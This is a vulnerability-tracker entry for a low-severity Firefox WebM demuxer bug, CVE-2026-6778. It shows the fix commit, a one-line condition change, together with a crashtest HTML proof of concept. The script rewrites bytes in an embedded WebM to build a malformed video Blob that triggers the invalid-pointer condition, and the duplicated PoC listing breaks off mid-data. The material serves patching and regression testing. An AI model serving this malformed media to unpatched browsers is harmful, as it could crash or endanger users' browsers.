PatchGap
Firefox · DOM

CVE-2026-6778

Logic Error in DOM
Low firefox Logic Error 🔧 Commit mapped

Overview

Low
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
Impactlow
DescriptionInvalid pointer in the Audio/Video: Playback component
ComponentDOM
Bug ClassLogic Error
Tracker2022746
Fix commit3de9ca927f10 (firefox) +101/-1
CISA KEVNot listed
Creditedchanhokim
Disclosed2026-04-21

Changed Functions

FunctionChangeNotes
for
dom/media/test/crashtests/2022746.html
 modified
if
dom/media/test/crashtests/2022746.html
 modified

Files Changed

  • dom/media/test/crashtests/2022746.html
  • dom/media/test/crashtests/crashtests.list
  • dom/media/webm/WebMDemuxer.cpp

Patch

view commit
diff --git a/dom/media/test/crashtests/2022746.html b/dom/media/test/crashtests/2022746.html
new file mode 100644
index 00000000000..c0737deb7f3
--- /dev/null
+++ b/dom/media/test/crashtests/2022746.html
@@ -0,0 +1,99 @@
+<!doctype html>
+<html lang="en">
+<head class="reftest-wait">
+  <meta charset="utf-8">
+  <title>Firefox WebM Alpha BlockAdditional</title>
+</head>
+<body>
+  <h1>Firefox WebM Alpha BlockAdditional</h1>
+  <p>
+    This embeds a valid alpha WebM, rewrites the first
+    <code>BlockMore</code> entry, creates a malformed <code>video/webm</code>
+    Blob in JavaScript, and feeds it to a normal <code>&lt;video&gt;</code>
+    element.
+  </p>
+  <a id="download" download="alpha-blockadditional-poc.webm">download malformed webm</a>
+  <pre id="log"></pre>
+  <video id="player" controls muted></video>
+  <script>
+    const SAMPLE_BASE64 =
+      "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";
+    const FIRST_BLOCK_MORE = 0x272;
+    const EXPECTED_BYTES = [
+      0xa6, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x39, 0xee, 0x81, 0x01,
+      0xa5, 0xb4
+    ];
+    const PATCH_BYTES = [
+      0xa6, 0x86, 0xa5, 0x08, 0x10, 0x00, 0x00, 0x00, 0xec, 0xb8
+    ];
+
+    const logNode = document.getElementById("log");
+    const player = document.getElementById("player");
+    const download = document.getElementById("download");
+
+    function log(message) {
+      logNode.textContent += `${message}\n`;
+    }
+
+    function decodeBase64(base64) {
+      const binary = atob(base64);
+      const bytes = new Uint8Array(binary.length);
+      for (let i = 0; i < binary.length; i++) {
+        bytes[i] = binary.charCodeAt(i);
+      }
+      return bytes;
+    }
+
+    function expectBytes(bytes, offset, expected) {
+      for (let i = 0; i < expected.length; i++) {
+        if (bytes[offset + i] !== expected[i]) {
+          const got = Array.from(bytes.slice(offset, offset + expected.length))
+            .map((value) => value.toString(16).padStart(2, "0"))
+            .join(" ");
+          throw new Error(`unexpected bytes at 0x${offset.toString(16)}: ${got}`);
+        }
+      }
+    }
+
+    function buildMalformedBlob() {
+      const bytes = decodeBase64(SAMPLE_BASE64);
+      log(`decoded sample: ${bytes.length} bytes`);
+      expectBytes(bytes, FIRST_BLOCK_MORE, EXPECTED_BYTES);
+
+      bytes.set(PATCH_BYTES, FIRST_BLOCK_MORE);
+      log("patched first BlockMore");
+      log("  offset: 0x272");
+      log("  bytes: a6 86 a5 08 10 00 00 00 ec b8");
+      log("  result: BlockMore(size=6), BlockAdditional(size=0x10000000)");
+
+      return new Blob([bytes], { type: "video/webm" });
+    }
+
+    async function run() {
+      logNode.textContent = "";
+      if (player.src) {
+        URL.revokeObjectURL(player.src);
+        player.removeAttribute("src");
+        player.load();
+      }
+
+      const blob = buildMalformedBlob();
+      const url = URL.createObjectURL(blob);
+      download.href = url;
+      player.src = url;
+      log(`blob size: ${blob.size} bytes`);
+      log("assigned malformed Blob URL to <video>");
+
+      const errorPromise = new Promise(r => player.onerror = r);
+      await player.play();
+      log("play() resolved");
+
+      await errorPromise;
+      log("got error");
+      document.documentElement.removeAttribute("class");
+    }
+
+    run();
+  </script>
+</body>
+</html>
diff --git a/dom/media/test/crashtests/crashtests.list b/dom/media/test/crashtests/crashtests.list
index aaa85240cae..94afb7604ab 100644
--- a/dom/media/test/crashtests/crashtests.list
+++ b/dom/media/test/crashtests/crashtests.list
@@ -209,6 +209,7 @@ skip-if(Android) load 2016497.html
 load 2017511.html
 HTTP load 2014878.html
 load 2014896.html
+load 2022746.html
 skip-if(!winWidget) pref(media.hevc.enabled,true) load 1859400.html
 load 1603271.html
 load 1536243.html
diff --git a/dom/media/webm/WebMDemuxer.cpp b/dom/media/webm/WebMDemuxer.cpp
index 8f4659d5c99..f312b7c8f6b 100644
--- a/dom/media/webm/WebMDemuxer.cpp
+++ b/dom/media/webm/WebMDemuxer.cpp
@@ -792,7 +792,7 @@ nsresult WebMDemuxer::GetNextPacket(TrackInfo::TrackType aType,
     }
 
     RefPtr<MediaRawData> sample;
-    if (mInfo.mVideo.HasAlpha() && alphaLength != 0) {
+    if (mInfo.mVideo.HasAlpha() && alphaData != 0) {
       sample = new MediaRawData(data, length, alphaData, alphaLength);
       if ((length && !sample->Data()) ||
           (alphaLength && !sample->AlphaData())) {
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/dom/media/test/crashtests/2022746.html b/dom/media/test/crashtests/2022746.html
new file mode 100644
index 00000000000..c0737deb7f3
--- /dev/null
+++ b/dom/media/test/crashtests/2022746.html
@@ -0,0 +1,99 @@
+<!doctype html>
+<html lang="en">
+<head class="reftest-wait">
+  <meta charset="utf-8">
+  <title>Firefox WebM Alpha BlockAdditional</title>
+</head>
+<body>
+  <h1>Firefox WebM Alpha BlockAdditional</h1>
+  <p>
+    This embeds a valid alpha WebM, rewrites the first
+    <code>BlockMore</code> entry, creates a malformed <code>video/webm</code>
+    Blob in JavaScript, and feeds it to a normal <code>&lt;video&gt;</code>
+    element.
+  </p>
+  <a id="download" download="alpha-blockadditional-poc.webm">download malformed webm</a>
+  <pre id="log"></pre>
+  <video id="player" controls muted></video>
+  <script>
+    const SAMPLE_BASE64 =
+      "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